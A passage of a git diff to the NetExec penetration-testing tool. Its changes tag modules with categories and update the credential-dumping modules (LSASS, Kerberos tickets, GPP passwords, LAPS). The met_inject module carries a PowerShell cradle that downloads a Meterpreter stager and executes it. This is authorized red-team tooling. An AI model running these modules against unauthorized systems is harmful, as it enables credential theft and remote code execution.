self.showhosts = True
|
||||
else:
|
||||
print("Could not parse ONLY_HOSTS option.")
|
||||
context.log.display("Could not parse ONLY_HOSTS option.")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -14,6 +15,7 @@ class NXCModule:
|
||||
name = "get_netconnections"
|
||||
description = "Uses WMI to query network connections."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,6 +12,7 @@ class NXCModule:
|
||||
name = "gpp_autologin"
|
||||
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
|
||||
from base64 import b64decode
|
||||
from binascii import unhexlify
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,19 +15,21 @@ class NXCModule:
|
||||
name = "gpp_password"
|
||||
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
|
||||
sysvol = share["name"]
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for potential XML files containing passwords")
|
||||
|
||||
paths = connection.spider(
|
||||
"SYSVOL",
|
||||
sysvol,
|
||||
pattern=[
|
||||
"Groups.xml",
|
||||
"Services.xml",
|
||||
@@ -41,7 +44,7 @@ class NXCModule:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
connection.conn.getFile(sysvol, path, buf.write)
|
||||
xml = ET.fromstring(buf.getvalue())
|
||||
sections = []
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@ import ssl
|
||||
import ldap3
|
||||
import re
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,6 +14,7 @@ class NXCModule:
|
||||
name = "gpp_privileges"
|
||||
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -13,6 +14,7 @@ class NXCModule:
|
||||
name = "group-mem"
|
||||
description = "[REMOVED] Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
@@ -35,7 +37,7 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
return None
|
||||
|
||||
# First look up the SID of the group passed in
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,6 +16,7 @@ class NXCModule:
|
||||
name = "groupmembership"
|
||||
description = "Query the groups to which a user belongs."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""USER Choose a username to query group membership"""
|
||||
|
||||
@@ -7,6 +7,7 @@ import re
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
@@ -14,6 +15,7 @@ class NXCModule:
|
||||
name = "handlekatz"
|
||||
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
|
||||
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
credentials_data = []
|
||||
found_users = []
|
||||
@@ -130,6 +131,7 @@ class NXCModule:
|
||||
name = "hash_spider"
|
||||
description = "Dump lsass recursively from a given hash using BH to find local admins"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -9,6 +10,7 @@ class NXCModule:
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
+5
-4
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
|
||||
@@ -8,12 +11,10 @@ class NXCModule:
|
||||
name = "iis"
|
||||
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
|
||||
supported_protocols = ["smb"]
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.check_appcmd(context, connection)
|
||||
|
||||
@@ -7,6 +7,7 @@ from base64 import b64decode
|
||||
from os import path
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
@@ -14,6 +15,7 @@ class NXCModule:
|
||||
name = "impersonate"
|
||||
description = "List and impersonate tokens to run command as locally logged on users"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "install_elevated"
|
||||
description = "Checks for AlwaysInstallElevated"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
@@ -7,12 +7,14 @@ from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ioxidresolver"
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from csv import reader
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -12,6 +13,7 @@ class NXCModule:
|
||||
name = "keepass_discover"
|
||||
description = "Search for KeePass-related files and process."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.search_type = "ALL"
|
||||
|
||||
@@ -5,6 +5,7 @@ from csv import reader
|
||||
from base64 import b64encode
|
||||
from io import BytesIO, StringIO
|
||||
from xml.etree import ElementTree as ET
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
@@ -21,6 +22,7 @@ class NXCModule:
|
||||
name = "keepass_trigger"
|
||||
description = "Set up a malicious KeePass trigger to export the database in cleartext."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
# while the module only executes legit powershell commands on the target (search and edit files)
|
||||
# some EDR like Trend Micro flag base64-encoded powershell as malicious
|
||||
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.ldap.laps import LAPSv2Extract
|
||||
|
||||
|
||||
@@ -17,6 +18,7 @@ class NXCModule:
|
||||
name = "laps"
|
||||
description = "Retrieves all LAPS passwords which the account has read permissions for."
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
|
||||
@@ -13,6 +13,7 @@ from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import contextlib
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -25,6 +26,7 @@ class NXCModule:
|
||||
name = "ldap-checker"
|
||||
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
@@ -79,10 +81,10 @@ class NXCModule:
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
@@ -109,7 +111,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
@@ -138,7 +140,7 @@ class NXCModule:
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
@@ -167,9 +169,9 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Now natively supported in the host banner")
|
||||
return
|
||||
@@ -255,4 +257,4 @@ class NXCModule:
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enable or disable xp_cmdshell on a linked MSSQL server
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "link_enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.action = None
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Run xp_cmdshell commands on a linked SQL server
|
||||
@@ -7,6 +10,7 @@ class NXCModule:
|
||||
name = "link_xpcmd"
|
||||
description = "Run xp_cmdshell commands on a linked SQL server"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.linked_server = None
|
||||
@@ -31,14 +35,14 @@ class NXCModule:
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
|
||||
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
|
||||
|
||||
if result:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value and output_value != "NULL":
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
|
||||
if output_lines:
|
||||
self.context.log.success("Executed command via linked server")
|
||||
for line in output_lines:
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
from io import BytesIO
|
||||
import pefile
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for detecting Windows lock screen backdoors
|
||||
Module by @E1A
|
||||
"""
|
||||
|
||||
name = "lockscreendoors"
|
||||
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
# List of exe names with expected descriptions
|
||||
self.expected_descriptions = {
|
||||
"utilman.exe": ["Utility Manager"],
|
||||
"narrator.exe": ["Screen Reader", "Narrator"],
|
||||
"sethc.exe": ["Accessibility shortcut keys"],
|
||||
"osk.exe": ["Accessibility On-Screen Keyboard"],
|
||||
"magnify.exe": ["Microsoft Screen Magnifier"],
|
||||
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
|
||||
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
|
||||
"displayswitch.exe": ["Display Switch"],
|
||||
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
|
||||
}
|
||||
|
||||
# If description matches one of these it's almost certainly backdoored
|
||||
self.backdoor_descriptions = [
|
||||
"Windows Command Processor",
|
||||
"Windows PowerShell"
|
||||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def get_description(self, binary_data):
|
||||
# Extract the file description from version info
|
||||
try:
|
||||
pe = pefile.PE(data=binary_data, fast_load=True)
|
||||
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
|
||||
for fileinfo in pe.FileInfo:
|
||||
for entry in fileinfo:
|
||||
if entry.Key.decode() == "StringFileInfo":
|
||||
for st in entry.StringTable:
|
||||
desc = st.entries.get(b"FileDescription")
|
||||
if desc:
|
||||
return desc.decode().strip()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Failed to extract PE info: {e}")
|
||||
return None
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
target_path = "\\Windows\\System32"
|
||||
tampered = False
|
||||
|
||||
for exe, expected_descs in self.expected_descriptions.items():
|
||||
try:
|
||||
# Grab the binary from the share
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
|
||||
binary = buf.getvalue()
|
||||
|
||||
# Extract and normalize the file description
|
||||
file_desc = self.get_description(binary)
|
||||
if not file_desc:
|
||||
context.log.fail(f"{exe}: could not extract FileDescription")
|
||||
continue
|
||||
|
||||
# Check if the description is as expected
|
||||
if file_desc not in expected_descs:
|
||||
tampered = True
|
||||
if file_desc in self.backdoor_descriptions:
|
||||
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
|
||||
else:
|
||||
if len(expected_descs) == 1:
|
||||
expected_str = f"'{expected_descs[0]}'"
|
||||
else:
|
||||
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
|
||||
expected_str = f"one of: {expected_str}"
|
||||
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to process {exe}: {e}")
|
||||
|
||||
if not tampered:
|
||||
context.log.display("All lock screen executable descriptions are consistent with the expected values")
|
||||
+77
-2
@@ -4,30 +4,57 @@
|
||||
# https://beta.hackndo.com [FR]
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import os
|
||||
import sys
|
||||
from lsassy.dumper import Dumper
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "lsassy"
|
||||
description = "Dump lsass and parse the result remotely with lsassy"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.method = None
|
||||
self.dump_tickets = True
|
||||
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
|
||||
self.ticket_type = "ccache"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""METHOD Method to use to dump lsass.exe with lsassy"""
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
|
||||
SAVE_DIR Directory to save dumped tickets
|
||||
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
|
||||
"""
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
|
||||
if "DUMP_TICKETS" in module_options:
|
||||
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
|
||||
|
||||
if "SAVE_DIR" in module_options:
|
||||
self.save_dir = module_options["SAVE_DIR"]
|
||||
|
||||
if "SAVE_TYPE" in module_options:
|
||||
self.ticket_type = module_options["SAVE_TYPE"]
|
||||
if self.ticket_type not in ["kirbi", "ccache"]:
|
||||
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
|
||||
sys.exit(1)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.host
|
||||
domain_name = connection.domain
|
||||
@@ -67,7 +94,6 @@ class NXCModule:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
@@ -84,6 +110,9 @@ class NXCModule:
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
|
||||
if self.dump_tickets and tickets:
|
||||
self.write_tickets(context, tickets, host)
|
||||
|
||||
for cred in credentials:
|
||||
c = cred.get_object()
|
||||
context.log.debug(f"Cred: {c}")
|
||||
@@ -116,6 +145,52 @@ class NXCModule:
|
||||
context.log.debug("Calling process_credentials")
|
||||
self.process_credentials(context, connection, credentials_output)
|
||||
|
||||
def write_tickets(self, context, tickets, host):
|
||||
if not tickets:
|
||||
context.log.display("No Kerberos tickets found")
|
||||
return
|
||||
|
||||
if not os.path.exists(self.save_dir):
|
||||
try:
|
||||
os.makedirs(self.save_dir)
|
||||
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
|
||||
return
|
||||
|
||||
ticket_count = 0
|
||||
for ticket in tickets:
|
||||
for filename in ticket.kirbi_data:
|
||||
try:
|
||||
base_filename = filename.split(".kirbi")[0]
|
||||
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
|
||||
kirbi_data = ticket.kirbi_data[filename]
|
||||
|
||||
if self.ticket_type == "ccache":
|
||||
ccache = CCache()
|
||||
ccache.fromKRBCRED(kirbi_data.dump())
|
||||
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
|
||||
ticket_content = ccache.getData()
|
||||
else:
|
||||
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
|
||||
ticket_content = kirbi_data.dump()
|
||||
|
||||
ticket_path = os.path.join(self.save_dir, ticket_filename)
|
||||
|
||||
with open(ticket_path, "wb") as f:
|
||||
f.write(ticket_content)
|
||||
|
||||
ticket_count += 1
|
||||
context.log.debug(f"Saved ticket: {ticket_filename}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing ticket {filename}: {e}")
|
||||
|
||||
if ticket_count > 0:
|
||||
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
else:
|
||||
context.log.display("No tickets were saved")
|
||||
|
||||
def process_credentials(self, context, connection, credentials):
|
||||
if len(credentials) == 0:
|
||||
context.log.display("No credentials found")
|
||||
|
||||
+14
-8
@@ -1,9 +1,11 @@
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Shutdown and Podalirius
|
||||
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
|
||||
|
||||
Initial module:
|
||||
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
|
||||
@@ -14,17 +16,21 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
"""No options available"""
|
||||
|
||||
name = "maq"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
|
||||
try:
|
||||
maq = result[0]["attributes"][0]["vals"][0]
|
||||
context.log.highlight(f"MachineAccountQuota: {maq}")
|
||||
except PyAsn1Error:
|
||||
context.log.highlight("MachineAccountQuota: <not set>")
|
||||
|
||||
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
|
||||
if not entries:
|
||||
context.log.fail("No LDAP entries returned.")
|
||||
return
|
||||
|
||||
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
|
||||
@@ -1,11 +1,13 @@
|
||||
from masky import Masky
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "masky"
|
||||
description = "Remotely dump domain user credentials via an ADCS and a KDC"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
@@ -79,8 +81,8 @@ class NXCModule:
|
||||
|
||||
pwned_users = 0
|
||||
for user in rslts.users:
|
||||
if user.nthash:
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
|
||||
if user.nt_hash:
|
||||
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
|
||||
self.process_credentials(connection, context, user)
|
||||
pwned_users += 1
|
||||
|
||||
@@ -96,7 +98,7 @@ class NXCModule:
|
||||
"hash",
|
||||
user.domain,
|
||||
user.name,
|
||||
user.nthash,
|
||||
user.nt_hash,
|
||||
pillaged_from=host,
|
||||
)
|
||||
add_user_bh(user.name, user.domain, context.log, connection.config)
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from sys import exit
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -10,6 +11,7 @@ class NXCModule:
|
||||
name = "met_inject"
|
||||
description = "Downloads the Meterpreter stager and injects it into memory"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.rand = None
|
||||
@@ -25,7 +27,7 @@ class NXCModule:
|
||||
SRVPORT Stager port
|
||||
RAND Random string given by metasploit (if using web_delivery)
|
||||
SSL Stager server use https or http (default: https)
|
||||
|
||||
|
||||
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
|
||||
|
||||
multi/handler method that don't require RAND:
|
||||
@@ -60,14 +62,14 @@ class NXCModule:
|
||||
proto = "http" if self.met_ssl == "http" else "https"
|
||||
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
|
||||
context.log.debug(f"{metasploit_endpoint=}")
|
||||
|
||||
|
||||
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
|
||||
context.log.debug(f"Running command via ps_execute: {command}")
|
||||
|
||||
|
||||
output = connection.ps_execute(command)
|
||||
context.log.debug(f"Received output from ps_execute: {output}")
|
||||
|
||||
|
||||
if output and "Unable to connect to the remote server" in output:
|
||||
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
|
||||
else:
|
||||
|
||||
@@ -2,6 +2,7 @@ from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXt
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@@ -9,9 +10,10 @@ class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
